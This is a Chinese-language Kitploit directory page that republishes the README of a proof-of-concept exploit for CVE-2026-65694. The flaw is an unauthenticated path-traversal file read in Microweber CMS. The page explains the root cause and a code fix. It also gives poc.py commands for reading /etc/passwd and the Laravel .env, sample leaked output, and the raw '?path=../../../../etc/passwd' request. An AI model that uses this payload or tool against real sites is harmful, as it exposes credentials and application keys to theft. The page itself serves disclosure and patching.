Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-65694-PoC — CVE-2026-65694 的 PoC — Microweber CMS(<=2.0.20)未认证路径遍历 → 任意文件读取(.env / 密钥) | Kitploit
工具/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集学习与教育
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

CVE-2026-65694 的 PoC — Microweber CMS(<=2.0.20)未认证路径遍历 → 任意文件读取(.env / 密钥)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
126天前尚未审核

CVE-2026-65694 — Microweber CMS 未授权任意文件读取

针对 CVE-2026-65694 的概念验证,这是 Microweber CMS 中的一个未授权路径遍历 → 任意文件读取漏洞。

未授权攻击者可以通过公开的 GET /userfiles/{path} 路由读取 Web 服务器用户可访问的任何文件——Laravel .env(APP_KEY、数据库凭据、邮件/云密钥)、/etc/passwd、日志、密钥、非 .php 配置文件等。

  • CVE: CVE-2026-65694
  • 类型: 路径遍历 → 未授权任意文件读取(CWE-22 / CWE-23)
  • 严重性: 高危 — CVSS 3.1 7.5(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • 影响范围: Microweber ≤ 2.0.20 以及当前 master(漏洞行仍然存在)
  • 认证: 无需认证

根本原因

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- 属性读取,而非 $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() 不会去除 ".."
    return $this->sendResponse($path, $request);
}

该路由以未认证方式注册:

root@kitploit:~
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

两个问题叠加导致:

  1. 输入覆盖。 $request->path(属性访问,而非 $request->path() 方法)会经过 Laravel 的 Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')) 解析。因此 ?path= 查询参数会覆盖 {path} 路由段——而查询值不会受到浏览器/服务器对 URL 路径 .. 的规范化处理。
  2. 无规范化。 normalize_path() 只是合并斜杠;它从不剥离或解析 ..,也不检查解析后的路径是否仍位于 userfiles_path() 内。随后 PHP 的文件层会在文件系统上解析 .. 序列。

控制器仅屏蔽 .php、.phtml 和 .php7 扩展名(skip_ext),因此无法直接读取 PHP 源码——但其他一切均可读取(.env、/etc/passwd、日志、密钥、SQLite 数据库、JSON/YAML 配置等)。

环境要求

root@kitploit:~
pip install -r requirements.txt

适用于任何采用推荐 public/ 文档根目录的部署(Microweber 自带的 public/.htaccess,或 nginx try_files $uri /index.php 前端控制器),其中 userfiles/ 位于 Web 根目录之外,且 /userfiles/* 被分发到 Laravel 路由器。

使用方法

三种操作:

root@kitploit:~
python3 poc.py -u http://TARGET --check                 # 目标是否存在漏洞?
python3 poc.py -u http://TARGET -r /etc/passwd          # 读取文件(打印到 stdout)
python3 poc.py -u http://TARGET -r .env                 # 相对于应用的路径同样有效
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # 将文件下载到磁盘
参数作用

遍历深度会自动检测(逐步增加 ../ 直到文件被服务);可用 --depth N 覆盖。通过 --proxy http://127.0.0.1:8080 可经过 Burp 代理。添加 -v 可查看原始请求。

示例

root@kitploit:~
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  未授权任意文件读取
  CVE-2026-65694   ( GET /userfiles/ ?path= 遍历 )
  by Bobur Abdugafforov

[*] 正在测试目标...
[+] 存在漏洞 - 已确认 CVE-2026-65694(任意文件读取,遍历深度 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] 已下载 '/etc/passwd' -> pw.txt(839 字节,遍历深度 4)

底层请求实际上非常简单:

root@kitploit:~
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

影响

未授权任意文件读取。泄露 Laravel .env 可获得 APP_KEY(会话/ Cookie 伪造)、数据库凭据、邮件密码和云服务密钥——实际上等同于实例的全部机密信息被攻破。

修复方案

应读取绑定的路由参数而非输入属性,使用 realpath() 进行规范化,并验证解析后的路径仍位于 userfiles_path() 内:

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

致谢

由 Bobur Abdugafforov 发现并报告。CVE-2026-65694 由 VulnCheck 分配。

免责声明

仅限授权的安全测试和教育用途。请勿对你不拥有或未经明确许可的系统使用。

下载工具
--check报告目标是否存在漏洞(是/否),不导出数据
-r、--read FILE读取文件并打印到 stdout
-d、--download FILE读取文件并保存到本地(-o/--output 设置文件名)